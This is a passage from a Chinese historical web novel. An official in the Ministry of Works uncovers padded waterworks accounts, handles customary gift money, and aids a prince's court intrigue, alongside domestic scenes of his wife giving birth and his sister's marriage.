江通也没想到他能问,还是回道:“我们工部,既要核算京师和地方河防水利的造价,还要掌管火药,审阅各地官员题奏的工程,连工匠也归我们管,种种事宜,钱、官、工、军都要我们费心,你说是不是麻烦得很?” 江通又道:“段大人,我在都水司办差也有三四年了,有些东西还是能说几句的。这里的差事不好上 手,定然要先学习,等着上手了再和我们一同办差,如何?” 段之缙不知道这其中的牵扯,决定静观其变,回道:“江大人愿意教导晚辈,也是晚辈之幸。” 因此,第一天当差,段之缙就是满衙门溜达,看着他们抱着册本进进出出,从早到晚地忙碌,三个郎中连用饭的功夫也没有。 因为无事做,下值的时辰一到,段之缙就出了工部衙门,先去户部找邹文借了一身五品官服,这才回家去。 今日晚上,段之缙才见到了妹妹短云霓,小丫头两个眼睛还泛着红,全是绣嫁衣熬出来的,弟弟的儿子珠珠一刻都离不开人抱,此时趴在乳母的怀里,脚边是连科绕着乳母转。 段之缙瞧霓丫头熬着,提议道:“找两个绣娘,帮一帮妹妹,何必叫她自己来绣?” 王虞瞪他一眼,“哪有这样的?嫁衣都是新娘子自己绣,她婆母愿意帮着她偷工减料,那是她婆母的心意,她自己可不能主动叫人帮忙。” 段之缙道:“自己绣也不能多绣出来个花,再说了,难道公主郡主的嫁衣也是自己绣的吗?差不多得了,谁还能告诉她婆母?” 段云霓却道:“二哥,你是个男人,不知道这里边的机关。绣品和人的长相一般,一个人一个样法,细心的人一眼就能看出绣品是不是出自一人之手,二哥还是别捣乱了,闹得我心烦。”又拿出来一个月白色香囊,说是去年绣的,结果他拖了这么长时间才回来,都要入夏了。 闲聊三两句,大家凑在一起吃了饭,段之缙才跟着沈白蘋回房,打量一番妻子的肚子,又把今天的事情告诉了她。 沈白蘋道:“这可怪了,工部忙成这样,多来一个人难道不是多一个人干活?你们又都是司官,没有利益牵涉,他朝你使什么劲?” 段之缙跟着找来的奶娘学抱孩子哄孩子,一个长条软枕在怀里颠来倒去,装做是一个孩子,时不时拍拍“孩子背”。 “这谁知道,我也奇得很,关键是另两人也不说话,倒像是这都水司全凭江通一人做主了。不过你生产在即,妹妹也将要出嫁,差事少些也是好事,能叫我专心家里的事情。江通愿意管,就叫江通管,等我先观察一番。” 沈白蘋颔首,又嘱咐道:“我虽没做过官,但我外祖怎么做官我却是见过的。你不干己事不张口,一问摇头三不知,什么主意也别拿,省得叫人拽住了把柄。” “我晓得……” …… 在都水司默默观察了十几天,段之缙终于弄明白了都水司郎中的工作。 都水司主要的职责就是稽查、估销河道、海塘、江防、沟渠、水利、桥梁、道路工程经费,督查各省修造战船、渡船及其他各种船只并核销河防官兵俸饷,这也是都水司最要紧,最能体现权力行使的差事。 修造祭器、乐器,办理册、宝、诏书、敕书、印轴、玉牒柜及各省印刷官书,征收船、货税及一部分木税,还有各窑藏冰的收发等杂事也是都水司来做,但这却不是要紧的差事了。 在都水司“学习”的日子里,有关钱粮奏销的活,一律不用段之缙干,朝廷要打造柜子,礼部要祭器乐器,夏天要发冰祛暑,这样的事情却跑不了段之缙,偶尔还得跑跑外勤,视察永定河的桥梁。 段之缙没有一句怨言,好似不打算升迁了一般,每天都急着跑回家,看看沈白蘋如何,学学怎么抱孩子哄孩子,还拿着珠珠做实验,把珠珠哄得看着二叔就笑,连自己亲爹都不亲了。 四月初八日清晨,人还在床上躺着睡觉,沈白蘋便突然发动了,即便段之缙预演过无数次,事到临头还是懵了一瞬,然后赤着脚跑出去叫稳婆。 稳婆两个月前就住进了隔壁,此时不见丝毫慌张,镇静地吩咐奴仆烧水,不到一刻钟便把卧室布置成了产房,看段之缙还在这里杵着,说道:“大人不要在这里呆着了,你在这只会添乱,还要人注意着你,快快出去。” 沈白蘋咬着牙,满头汗水,“二爷,你今天还当差,现在也差不多到时候了,快去工部点卯吧。” 段之缙才回过神,突然想到了什么,用力抓着稳婆,低声但不容辩驳地吩咐:“万一有不测,孩子娩不下来,你们就用剪刀把孩子剪碎取出来,千万要保大人。” 原本镇定的稳婆吓得呆住,哪里听过这样的事情? 段之缙见她不答话,又厉声催问,直到那稳婆应下来,自己胡乱穿上官服往工部赶。 但他不是来当差的,是来请假的。 妻子生产请什么假?杜谦骂他不知所谓的时候,段之缙直接跪倒在地,也不知怎么了声泪俱下,“大人,下官二十五六岁,第一次有子,万望大人体谅!” 杜谦一惊,二十五六岁才有孩子活下来的不少,但段之缙这般妻妾头一回有孕生产的却鲜少,刘审在旁边啧啧称奇,劝杜谦道:“大人,年近而立头一回做父亲实在不易,况且现在核销的事情不紧,都水司差事也不多,叫他回去吧。” 杜谦这才答应,等着段之缙回去的时候,生产刚刚开始,屋内俱是沉闷的呻吟。 段之缙在外边大喊:“蘋儿,我在外边呢!尚书大人叫我回来守着你,你安心生产!” 沈白蘋说不出话,但心里好受许多。 孕期保养得好,沈白蘋连灌了两碗参汤身上气力也足,她又是二十五岁产子,骨架也全都长成了,这个孩子便没有太折磨人,刚过未时就娩下来,才五斤多点的男孩儿,剥皮猴子一般,看着够可怜的。 段之缙终于松下一口气,在门外转悠了半天,此时扶着门框脱力坐倒在地。 等着再进去的时候,孩子已经被乳母抱走了,沈白蘋沉沉睡着,段之缙就坐在脚踏上,握着她的手。 生产的时候顺利,又没有养育孩子的麻烦,即便这里的条件没有现代好,沈白蘋也恢复得不错,只遗憾养身子的时候错过了霓丫头的婚事,不过人家就住在前街,三日回门的时候还来看小侄子,把个大金锁挂在孩子脖子上,压得孩子嗷嗷哭,又赶紧拿下来。 “他有名字没有?” 段云霓又去逗哥哥哄好了的孩子,那孩子一言不合就开始哭,闹得段之缙头大,嗔道:“这么晚了还不回家去?宋征舆不找你吗?” “呸!背着我上轿的时候说得好,叫我天天回家来看,现在闹了你儿子哭,就叫我去‘别人家’了?” 沈白蘋怕他们两个再吵得孩子哭,说起孩子的小名,“叫锁儿,把他的命锁住。” 这孩子生下来才五斤多一点儿,做母亲的还是有点儿担心。 段云霓就把手里的金锁扔到小摇篮里,提一下衣裙朝着哥哥睨一眼,“好二哥,我这就去找宋征舆了,别碍了你的眼。”语罢提步就走,段之缙追两步问她明日还回不回家,就听段云霓远远地喊:“在家吃了晌饭就来!” 处理完了这一档子事儿,段之缙终于有心思去想工部的差事,如今该学的也都差不多了,虽然不知道这三位郎中忙什么,但既然他们忙,自己也帮帮忙。 这一日,段之缙照例看了冰窖的藏冰,去找江通商量参与核销钱粮的事情,那三人面面相觑,祝严法笑盈盈道:“段大人,这几日有你的信?” “我的信?”段之缙不知他提起这个事情作甚,何况有没有信,他如何知道? “应当没人给我寄信。” 江通笑道:“段大人,如何没有?只是不能寄到部来,我给你提个醒,记得回家收信。” “眼瞧着今年的天热了,冰敬也来了。今日我腆着脸教导你一些官场上的门道。你之前在理藩院行走学习,也没有三敬能领,今日是头一遭。” 三敬,就是冰敬、碳敬和别敬,地方官给京官上的孝敬,段之缙早就问过邹文,这钱能收,但是江通如此郑重其事,倒显得奇怪了。 段之缙道:“江大人,我是个胆子小的,收人钱财替人消灾,我没那么那么大的本 事,如何能收人家的孝敬?” “哎,三敬也算是朝廷的成法,你不收岂不是不合群?况且地方官员的心意你不能不领,人家不求你做事!况且受脏法还在,若有事相求而送礼,我们断断不会收。” 段之缙心下嗤笑。 不替人办事就不算是受贿了? 但是京官清苦,拿冰炭敬也是情理之中,说到底是朝廷制度有错,哪能强求人不吃饭不喝水呢? 江通又道:“段大人,还是年纪小的享福啊!你瞧瞧你,差事办得最少,但是孝敬一分不少拿,祭器、冰窖和巡查的差事繁琐些,麻烦些,但是轻易不出错,也不用担责任。日后你就干这个差事可好?” 这下肯定了,绝对是有猫腻,段之缙回道:“江大人老当益壮,我们这些后辈却不能不思进取。这些日子我去司下各处详问了,各位大人所办差事晚辈熟悉一番也能上手。”又提议道:“择日不如撞日,今日叫我来为诸位分担一些如何?” 江通却胸有成竹道:“我们的差事不好做啊,若有员外郎、经承他们找你,那你就做吧。”似乎料定了,不会有人将公事交给他做。 果不其然,除了杂事,无一人将正经的差事递给段之缙,去问其他郎中要,人家也只笑着说你还年轻,还得学习学习。 不过没关系,工部核销的再好,也得找户部支钱,段之缙下了值就去户部搬救兵,求邹文这个户部郎中在审批户部文书的时候驳回,看谁拖得过谁。 段之缙一边给邹文倒水,一边说:“这事儿怪得很,我还记得刘审大人说都水司的差事不忙,既然不忙,都水司的司官每日忙忙碌碌地干什么?必然有猫腻。” 邹文回道:“这倒是可以,必叫你干上这个差事。不过我也有事情求你,现在我们王爷想要用巡捕营的兵力,我想你的脑子这样活,应当能想出办法。” 巡捕营有九门提督长官,段之缙道:“方醒任九门提督,这可是舅舅家的人,还不好办吗?” 邹文冷哼一声:“就因为是方家人,才不好办。” 第78章 078南苑阅军 听邹文这样说,段之缙也就知这世界跑偏了,该相亲相爱的一家人形同陌路,但是到如今,世界已经变化了太多,连继承人也渐渐浮出水面,牛痘的功绩把肃王推上了天,现在谁还看不清楚形势? 段之缙只说自己会注意,又嘱咐邹文瞅准时机好好表演,但也别真耽误了朝廷的事情。 邹文应下,段之缙才回家看儿子。 进了家门,头一个上前的不是儿子的乳母,反而是琼香,现在这个小子跟着肖伯锻炼,等着肖伯年纪大了就顶肖伯的班,自己也有了妻子儿女。 “二爷,今日有人送来了一叠书信,我们不敢动,都放在了书房里。” “可知是谁送来的?” “来人说自己是上一任工部都水司郎中白敬的家仆。” 段之缙走进书房,厚厚一摞,除了一封外,其他的都很薄,收信人俱是白敬,而寄信者五花八门,各地的知府、巡抚,还有二三总督。 应当都是小额的银票,就郎中这个职位,冰敬八两到三十两为多,工部都水司和旁的清水衙门又不相同,应当是二十两往上。 段之缙拿着书信回了致知斋,先搂了搂孩子,才回到卧室,和沈白蘋一块儿拆信封。 送礼,也要讲究雅,不能直愣愣地把银票塞在里边,那样就落入俗套了,京官多是进士出身,往往不喜太过直白。 第一封是江泉省的知府,信封内附一首三十韵梅花诗,里边还有一张小额的银票,段之缙刚要拿出,又被沈白蘋捏住封口。 蘋儿笑问:“你先猜,里边有多少银子?” 这点机关段之缙还是知道的,“三十两。这一韵梅花诗就是一两银!” 真是三十两。 又打开一封,内附“强而仕”三字,段之缙就拿着问沈白蘋,“你猜这是多少银子?” “四十强而仕,四十两!” 再开几封,两个人猜来猜去,间或有四十五十两的冰敬,多数是二三十两。 那一封厚的却不太一样,里边一字没有,只藏着一小叠花笺,段之缙看不出价值,但沈白蘋如获至宝。 她仔细看着角上的印花图案,念念叨叨:“小者如豆,大不盈指,且占地不及寸……这是前朝的陈公笺!” “价值几何?” “我待字闺中时,一张就是一两银了。”每一张纸也就比巴掌大一点,“过了这么些年,至少二两一张。”这样的纸和旁的不同,越放越金贵,越放越值钱,因为越放越少。 夫妻两个清点了银子,小五百两是有了,沈白蘋问道:“这些冰敬要怎么办?” “收是一定要收的,不收不合群,但是要封存起来。”邹文等人能用,是因为他们家境贫寒,但是自己家里富庶,这笔银子最好封存。 沈白蘋便找了个簿子记账,每人什么官职,给了多少银两也都记下来。陈公笺记了二十张。 又把锁儿搂着玩了一会儿,这才安心睡觉。 …… 邹文的速度够快,没过几日,段之缙无所事事在衙门内看杂书嗑瓜子的时候,郎中丁璇一头雾水地从户部回来。 他方才去户部报工程最后所用的钱粮。 “被驳回来了?”江通问。 “可不是嘛,连哪里不对也没说,就说卡不上之前报的钱粮折子,叫我们重算,还叫我们抓紧时间再报。” 祝严法问:“怪了,我去叫算房重算一遍。” 可算房核对了一遭并无半分的差错,怎么可能卡不上之前报的钱粮折子? 祝严法又去送了一次,回来的时候脸黑成锅底,段之缙冷眼旁观,猜是给户部的人赔笑脸被人顶了回来,此时祝大人文书一甩,恼道:“这个差事我干不了了!” 江通还哄他:“何故生气?差事还是要好好做的。” “人家话里话外说我们做些烂账出来,倒给户部的老爷们添了麻烦!” 江通好说歹说把他安抚下来,又问:“这次是什么原因驳了回来?审的人又是谁?实在不行求奚陈去户部问问?” 奚陈是另一个工部侍郎,管都水司。 祝严法牛饮一大杯水,回道:“可别,他们王爷今日到部了,四五个郎中一块儿审的,当着他们王爷的面讽我!” 段之缙饮茶憋笑,江通也不说什么叫奚大人去问问的话了,埋头苦思。 别说是侍郎,就算是杜谦部堂亲自去了,人家王爷在哪里,谁还敢说个重话? “那就明天再报,这个差事不急,就是最后去户部挂个档罢了。” 祝严法真是受委屈了,此时冷笑一声,“江大人,你这可就不知道人心险恶了,户部催着我们速改速交,今日必须报上。” “那他们倒是说一声改哪里啊!”江通怒火中烧,又憋下去,再叫算房核对了一番,的确是没有半分差错,预审的钱粮和实际用的钱粮本就不可能分毫不差,能做到这样已经是极好的了,还有什么好改的! 这下怎么办? 丁璇看看悠哉悠哉看书的段之缙,冰盆子放在案上,好不自在,反而自己这些人愁得头疼,怎么也平不下这口气,戳戳江通叫他看段之缙,江通颔首,上前笑道:“段大人可有差事忙?” 段之缙把手里的瓜子放下,回道:“无所事事之人,江大人可有吩咐?” “今日户部的郎中吃了火枪子,又急着要核对钱粮,不知你能不能送?” “自然自然。但核对的差事不是我做,若是我去送,一问三不知如何是好?总得先看看之前的钱粮用度。” 江通没想到他来这一招,但也无所畏惧,这个省的账簿已经做好,并不怕他来验看。 “自然,我叫经承抱来给你。” 段之缙查着帐目,从力夫、木材、砖石等的价钱一点点核对,并没有半分差错,这才去了户部。 纪禅不经常来部,今日到此还是给邹文撑场面的,怕工部的侍郎打过来叫邹文挨骂,现在段之缙来送账簿只觉得好笑,没说一句话就回了刑部。 邹文送走王爷,把工部的账目记档存好,笑着问道:“怎么样,你吩咐我的差事办的不错吧?我说的事情你也得多多上心。” “自然自然。含章兄,我还有事相问,这河防水利、桥梁道路上想要贪污,一般有什么方法?” 旁边的郎中一挑眉,玩笑道:“你问这个要造假账?那日后你来送报的账目我可不敢收了!” 段之缙搂着邹文的肩:“大人,我可是身在曹营心在汉,还是看着含章兄亲热。” 邹文和他说笑几句,才回了正事:“要贪污的法子可多了,那蠢一些的虚报工程,夸大灾情,瞒得了一时瞒不了一世。再聪明些的在力夫、材料上下力气,一两的报成二两,或者以此充好,用碎砖充条石,或用糯米灰浆代替石灰。可要是从账目上下手,你们工部报给户部的账目都是万无一失的账目,鲜少出问题。” 工部和户部的账目是分开的,具体的估价、核算等都是工部都水司的差事,户部既不能 管也管不了,只是一个记档的衙门,也只能在记档上卡一卡人家。 除非是江河等大型堤坝的修建和突发的抢险要经过户部,走国库的银两,否则都是工部核准,用当地的钱粮,明细都存在工部,若要查也只能从工部记档文书中查。 段之缙回到工部,几个人见他真把差事办妥贴,有些吃惊,江都却看得透彻,这新来的身后定然有人! 果然不出所料,之后连着几日户部都是百般刁难,就算是告了奚陈,奚陈也无法,人家王爷天天蹲在部里,难道叫一个侍郎去跟管部王爷干架吗? 奚陈反而劝他:“你们的明细也该改完了,他想看就叫他看,总不能老是叫户部的人为难自己。再者,这事儿是福非祸。” “大人的意思是?” “若不是突然调走了白敬,你们这些明细何时能编造圆满?也算是给你们提个醒,日后这东西要一开始就做好,不能等着外人来了再弥补。” 工部的地位,的确是六部最贱,但工部的油水,却不是其他各部能想的。 吏部也好,户部也罢,都是从官员和税赋国库里捞银子,可工部不一样,他们是审一个奏请修工程的题本,捞好几笔银子! 地方官不意思意思,这个河堤就不准修。 地方官不表示表示,这个桥就验收不了。 再者修堤筑桥又是一大笔银子,又能和地方官分一分。 但发财的前提是工部的明细能过朝廷的验看,想到此处,奚陈问道:“明细做完没有?” “还请大人放心,就剩下临江和山东二省,其中山东省的明细是一开始就做好了,万无一失。” “那纸张做旧的事情?” “工部还缺放了两三年的空簿子吗?绝不会有任何问题。” 奚陈才放他回去,也正如江通所料,等到他们弄完了所有明细,全放给段之缙看得时候,这个新人盯着满屋的文书看,也没看出点一二三四五。 自然,土石、力夫、木材的价钱,没有一个不是真的,你要看便任你看。 段之缙看了一顿,对照了各种价钱,的确没有能差错,那就更可疑,为何一开始拦着不叫人看? 只是这个事儿要先放一放了,九月份,皇上要于南苑围猎,更要大阅三军,在远道而来的南诏和穹迦诸夷之前一展朝廷的军威。 而工部就要为两万步军营和一万巡捕营的兵士准备军需,整个工部都忙得昏头转向,是不是虞衡司管军需库的人都要去虞衡司办差,另有十门大将军炮和其他炮种要在阅军时使用,更要好生照看。 九月九日,双极数,正是阅军的好日子。 此日阳气极盛,骑兵□□的西北良马膘肥体壮,步兵整齐划一,身上甲胄和手中刀戈寒光阵阵。 南诏土司和穹迦人北坐,崇德皇帝坐在南面高台,诸王和文武百官环坐,徐自闻领军出,率骑兵、步兵做对敌状,于马上高声传令:“响炮三声立时前进,木号声响为撤退!”众军依令而行,演作冲杀,一时间地动山摇,又有阵阵炮响,轰击前方的山头,硬生生削平了顶。 诸夷胆战心惊,无不叹服,皇帝也是志得意满,赞徐自闻和工部差事都做得甚好,此次要好好奖赏。 穹迦使者上前行礼,“大国之威,小部敬服。” 崇德皇帝叫他们起来,说了一些永结邦好的话,就来到了下一个流程,陛下亲自射鹿,作为围猎开始的信号。 那把巨大的桦木弓被侍卫呈上,里边有三支玄铁箭,皇帝转一转手上的扳指,转头看向肃王,“你来替朕拉这第一箭吧!” 他连个理由也没给,只是疼爱地看着肃王红着脸跪拜推辞。 “你是朕的儿子,有什么不敢的?拿弓!” 肃王便上前取弓,上马弯弓射箭,正中场中梅花鹿,诸臣却有些惊慌失措,因为下一个流程该山呼万岁了。 毓秀颤颤巍巍地上前跪拜,高喊道:“圣朝降文武双全之子,宗藩大幸,吾皇万岁万岁万万岁!” 大家这才醒悟过来,跪拜在地,山呼万岁。 围猎正式开始。 阅军时的围猎,宗室和一部分侍卫要深入林中,其他人可去可不去,皇帝独坐高台,看向远处的林子,看到了趣事,又太远难以确定,问吴祥道:“那里是不是亚椿带着人猎虎?” “正是端王殿下呢。” “还和年轻时一样,进了猎场就好往林子深处找老虎,从没变过。” 他越老,越生出慈爱来,这个儿子又顺心,愿意辅佐弟弟,更是慈爱。 那边儿工部的人又被差出去检查军备,因为围猎结束时还有一场军演。 不过这差事辛苦,却正中段之缙下怀。 工匠检查武器和火炮,段之缙溜达到围坐的小军官跟前,一屁股就坐在人群中,丝毫不把自己当外人。 段之缙还喝了人家一口水,大家看他是工部的熟人,又给他倒了点,问道:“大人,您来此作甚?” “办差啊,下一场的武器都得安排好,要是出了差错脑袋搬家。”段之缙又抱怨一句:“这大热天,你们灰头土脸的也辛苦了。步军营里的日子好过吗?” 这些军官都是小把总,总结起来就就一句话——“太不好过了!” “可你们每个月都领着朝廷的粮饷,家里又不用缴纳田税,即便在营里辛苦些,家里能吃上用上也好。” “大人,我们可都是军户,到死也是个军户,生下来子子孙孙也是军户……” 另一个把总大笑:“你还子子孙孙呢,你能养住媳妇就不错了!” 又跟段之缙笑道:“他家之前几代的役都没有服够,全压在他个人身上,哪有人愿意和他成亲?” 他们七嘴八舌,又说起来孩子没有前途,又可怜最底下的小兵。 段之缙叹道:“真是够不容易,倘若入了军户,无论服不服役都叫你们领一辈子的钱粮,再给你们分田分房,叫你们的子孙读书做官,才配得上你们的辛苦。” 那些人都愣住了,一人低声道:“若真有这样的好事,跟着他造反也成啊……”旁边的人猛捶了他一下,大家看向段之缙,段之缙笑眯眯道:“我可什么都没听见。”便起身拍拍屁股,去问旁边的工匠这些武器如何。 第79章 079段之缙心里琢磨着,虽说步军营…… 段之缙心里琢磨着,虽说步军营底层的军官满腹怨言,但是难保这些人过一天算一天,嘴上说话利索,真叫他们造反他们又不敢,最好能叫中层的军官带一带。 可中层的军官不上不下,又能许以何种利益呢? 再者步军营已经到了京城外围,真正守卫京城,管理治安的还得是九门提督掌管的巡捕营,巡捕营的将领深受皇恩,轻易动摇不得。最里层就是皇宫,被一千五百名侍卫守护,比起上万的士兵不足为惧,但也是一股反抗的力量。 灵光一闪,段之缙面上带了点笑,或许可以给他弄一个“旗籍”出来。 段之缙摸着顺滑的马毛,一阵响亮的口哨声在身后响起,徐明宣和施秉文在树后边站着,跟着一个方叙墨时常愣神,一副心烦气躁的样子。 段之缙登时一乐,先 叫他们过来干活,帮着清点清点。 四个人干一个人的活,原本得明日才能记录完的军备这天下午就已经弄好,段之缙随他们去找郑崑瑛,郑崑瑛还在帐子里写颂圣诗。 段之缙为他研墨,“辛苦辛苦,不过我看旁的庶吉士也没都写颂圣诗啊?” 郑崑瑛苦笑:“本就不是每个人都要写,我都要出去找你们了,吴公公又来叫我写一首呈上。” 他二甲排名很高,学问自然极好,侍奉陛下读书的时候曾一展诗情,陛下很喜欢,现在如此盛事,怎能忘了他,特意叫吴祥过来,吩咐他写一篇颂圣之作,郑崑瑛便只能留下,一字一句地斟酌。 “对了,你知道葛观澜出孝了吗?”郑崑瑛一心二用,问道。 “你不说我都忘了,他出孝便出孝,有何大不了的?” 郑崑瑛写了一半的诗停下,“没什么大不了的,只是想告诉你,他要放江泉督粮道了。”说着,自己也觉得十分好笑,“皇帝还特意嘱咐了,要悄悄地放。” 段之缙惊愕不已,江泉督粮道虽不是什么高官,但可谓是天下第一肥差。 江泉地处西北和中原之间,西北的局势紧张,一旦用兵,朝廷的钱粮是不敢往紧靠西北的西海省放的,只能集中在江泉,且平日里西北军的钱粮就是江泉供应,正常年份征收二十万石粮食,军饷却只需要十九万石,这一万石的差额就是油水。再者粮食的买进卖出又能操作,这一年不用多么费心,三四万的白银轻轻松松。 段之缙疑惑:“葛礼死的那样不体面,皇帝还记挂着他的儿子呢?难道他是流落在外的皇子?” 徐明宣笑他:“你真是狗胆包天,胡吣起来连命都不要。” 施秉文帮着郑崑瑛推敲字句,每个人都有说有笑,除了方叙墨,一身绯红色官服,品级最高,脸色最苦。 段之缙瞧他魂不守舍,开口询问,方叙墨只摇头说无事,最后顶不住瘫坐到椅子上,宽衣大袖捂住自己的脸。 “唉……愁死我了……我想回家去,又不敢回家去。” “这话怎么说?” “我们家……”方叙墨想想,大家兄弟一场,说出来也是给兄弟们提醒,不要误入歧途,干脆一咬牙和盘托出,“肃王是圣心所向!” 大家面面相觑,段之缙半晌说出话来,“那还有谁不知道吗?”今天上午的阅军一事,肃王替陛下射鹿,睁着眼的人都能看出陛下的意思,这难道是什么秘密吗? “可我们家应该是知道的最早的,所以之前皇后娘娘来游说我祖父时,我祖父拒绝了。” 大家这就能猜到了,“然后郡主就恼了你?” 方叙墨哽咽一声,“我的小妞妞,生下来就叫我抱着,从没离开我,现在被郡主送到了端王府,两三个月不得见了。” 施秉文的火气也上来,“郡主已经嫁到了你们家,就是你们家的人了,怎么能把孩子抱走?女儿跟着你姓方!” 徐明宣一把捂住他的嘴,“天老爷,你敢说这话吗?我说允升狗胆包天,你更是胆子大的没边儿!” 宗室女出身和旁的女孩儿不一样,尤其是近支的女孩儿,欺负婆家人从来没人敢说半个字,谁叫人家是龙子凤孙? 段之缙叹一声:“这也是没办法的事情,郡主已经在父亲和丈夫之间做出了选择,你也该在其中做出抉择。选你的祖父,还是选你的丈人。” 方叙墨哀嚎:“就不能不选吗?” 显然不能,事情走到这个地步,方叙墨不能既享受着郡主仪宾带来的从二品官职,又要做他方家的孝子贤孙。但是段之缙也不能给他任何意见,因为这个世界已经变化了太多,谁也不能预料到后事如何。 谁也没给他出主意,若无其事地回头和郑崑瑛推敲诗眼,方叙墨也没想着能得到什么建议,只是说出来能叫心里轻快些。 这里围猎结束后,南诏土司和穹迦人领略了一番中原的强盛,又能夹起尾巴做人。段之缙也回到工部都水司,继续看他的河防水利明细。 工程所需的材料价格都是合理的,丰年粮贱,力夫的工食银就高。灾年粮贵,以工代赈之时,力夫也花不了几个钱。 但段之缙越看那些数字,越觉得有些地方古怪,可哪里古怪倒也说不上来,直到看见山东的明细。 这年表是好几年前的表,山东旱情过后,朝廷在其境内大兴水利,一是为了叫成为流民的百姓有活干有饭吃,不至于造反,二则也是为了引水入缺水之地,好减缓旱情。 工程兴建之地就在运河边,段之缙去山东之时和回京都走过那里,回时八九月份,正是南粮北运的时候。 山东缺粮没错,粮食的价格应该浮高,工程就在八九月份,江南的粮商和朝廷的运粮船都会从此过,山东再缺粮食,又怎么会在此地此时缺粮?粮价何故如此之高? 再看石料,也真怪了,为何非要从外地采买,山东本地的花岗岩为何不能用? 这个工程不小,特意从国库拨银子,因而各类明细都是工部和地方官一起报的,这两方人得都是傻子,才能不知道贵贱。如果真的不知贵贱,那天王老子来了,他们也得定一个渎职。 当时的工部尚书和管部之人是谁? 段之缙默不作声地合上册子,开始干手头上的活计,回到家后将各种地理志和游记拿了出来,和沈白蘋一块儿详读,专看哪地盛产何种工程材料,翌日再跑到部里看该地的账目。 现在事情分明了许多,这些人该是昧下了不少钱。 重新看这些明细,虽表面上合理,价格也是高低起伏貌似符合当地的行情,但总归是趋同化,那林木葱茏的地方,反要从外地运输木材。 可京里户部的老爷们和金銮殿的皇上又怎么能知道丁点儿的地方,就能长那么些参天大树呢? 段之缙将自己能找到的可疑之处汇成一本簿子之时,已经是年关,再找邹文也不合适,看看前街,这不正好有一个端王府出身的人吗? 正月初二,宋征舆跟着段云霓回段家,一起吃团圆饭。 团圆饭分了两桌,女人们聚在一起说笑不叫他们听,段家二兄弟和宋征舆孤零零守着一个小桌,怀里还搂着孩子。 平日里带的少,好容易放了年假就得好生稀罕稀罕。 段之缙把一点肘子皮夹到儿子嘴里,锁儿吧唧吧唧,嘴唇油亮亮的,等着他爹再喂一口。但是他已经喝饱了奶,肚子像一个小鼓,段之缙只叫他嘬嘬筷子,不敢再喂了。 看着宋征舆,段之缙问:“载之的会试准备的如何?”今年二月的春闱,宋征舆也该上场,载之则是端王给取的字。 宋征舆回道:“尚可,料想能够得中。” 段之缙又问了些有的没的,说是指导,但他学的时文也差不多还给了几位先生,只能在破题上说两句。 说到这里的时候,又顺带嘱咐了段之绪,“你八月的院试也要好生准备,四五月份就要回淮宁,不要再拖了。”段之缙讪讪一笑,知道二哥察觉到了自己不愿走的心思,但妻儿留在此处,叫他一人回去考试,到底难受。 吃完了饭,段之缙以指点为由带着宋征舆去书房,先把自己查出来的簿子给宋征舆,“你是王爷的侍读,这个簿子麻烦你转交王爷,疑点我都详细记了,只需要王爷派人去核查一番,寻访百姓,看这些工程是不是真用了外地运来的材料,力夫是不是真的花了这么多钱。” 宋征舆知道事关重大,将簿子小心收好,又听大舅子道:“还有一事,托你跟王爷说,上次邹文说的事情,我有一些想法,但是可能要见面详谈。” 这个事情不适合叫人带话,还是当面说清为好。 宋征舆也应下,段之缙又将自己在国子监内记的笔记送给了妹夫,也望他能一鸣惊人。 宋征舆做事是极其妥帖的,没过多久,段之缙去户部送文书的时候邹文就和 他定好了日子,“三月三上巳节,带着你的家人出来玩吧,就去郊外的‘壶中日月’园,那日园子热闹得很。” 园子挂在幕僚焦常青的名下,实际上是端王的院子。三月三也是个好时候,上巳节的风气就是水边饮宴、郊外游春,无论是谁都要到郊外玩一玩,段之缙和端王说话也就不起眼了。 到了三月三那一日,早上还下着牛毛一样的细雨,等着家人出门时,雨又停住了,太阳温温柔柔地照着,倒也不热。 今日壶中日月园大开,男男女女俱能进来游玩,书生们似往常一般举行诗会,打扮得花枝招展,原来远处阁楼上未婚的女儿正远远地看着。 端王的婢女侍卫扮成丫鬟、船夫,段之缙带着家人湖边游船,玩到一半说碰到了熟人,被侍卫领着上岸,没一会儿就被带到了端王跟前,秦先生也在。 还不等段之缙行礼,纪禅就叫他起身上前,拉着他的手,难免有些喜形于色,“真是帮了我的大忙,那些账目果然不对,你猜当时管部的人是谁?” 段之缙见他高兴成这个样子,知道此事非同小可,但也的确不知,毕竟上次去山东也有好几年了,还不等段之缙回话,秦先生就告诉他:“正是方克城!” “那王爷可跟方中堂联络过了?” 端王松开他的手,啜一口杯中水,又跟着冷笑一声:“这会儿还要找他?本王漏一点消息出去,该他来找我了……” 他一向是心高气傲,虽不是嫡子,但养在皇后名下,吃穿用度连没母亲的皇太子也比不了,读书、办差又是样样最好,结果为了六弟这个傻子,父皇和方家都离他而去,方家最气人,母后伏低做小,他那好舅母来一句“不能为了别人的孩子出力。”纪祁难道是方家的孩子吗?! 纪禅如何能不恨,现在拿住了方家的把柄,绝没有他们好受的。 吐两口气平静一番,端王又问:“邹文跟你说的是巡捕营的事情,现在你给本王的簿子就能解决。但是本王还是想听一听,你原来的打算是什么?” 段之缙道:“臣也没有什么太好的打算,只是现在的小军官,成日在营里边泡着,一家老小又能得到什么呢?说不定也没有一家老小。京中也难有战事,中层军官虽说待遇好些,到底没有出头之日,难以封妻荫子。” “臣的想法是,倘若能给他们另开户籍,造一个‘旗籍’出来,从生到死俱领朝廷的钱粮,另他们能以军队出身入朝廷为官或是去地方领兵,也好建功立业……” 段之缙娓娓道来,将一部分清代八旗的制度照搬过来,叫军官们享受清代时旗人的待遇,叫他们领受皇恩,时代对皇帝忠心耿耿。 端王听着,一挥手打断了他的话,“不,不仅是中下层的小军官,等着事成之后,这个法子要在所有的军队中推开。只是这样,滋生人口太多又当如何是好?” “现在已经成婚的不论,日后再成婚者只能从旗籍中匹配,不许同其他人户婚嫁,选择自然就少了。等着人数再多,就将一部分空吃朝廷银两的人却不能给朝廷出力的踢出去。” 端王微微一笑,“是个好主意。只是我现在赏你,也只能赏些金银珠宝,倘若真的有用,日后再大大地赏你,好好地赏你。” 段之缙磕头谢恩,松下了半口气,接下来的事情就得端王操作,和自己半分关系也无了。 可方叙墨的事情还堵在他的胸口,吊着半口气,最终决定问一问:“王爷,微臣与方叙墨为至交好友,不知他……” 端王惊讶,“你倒是实诚,现在还认他呢?不过这个事情,全靠方克城怎么安排了,左右不会死。” 段之缙退下去,这老丈人也算是手下留情,权力争斗,能不被株连,保下来一条命就很好,只要灵寿郡主还喜欢他,方叙墨傻人有傻福,纪家还养不了一个驸马吗? 回到池子边,段之缙抛下刚才那些琐事,和家里人好好玩乐,高高兴兴过了这一天。 第80章 080肃王遭斥 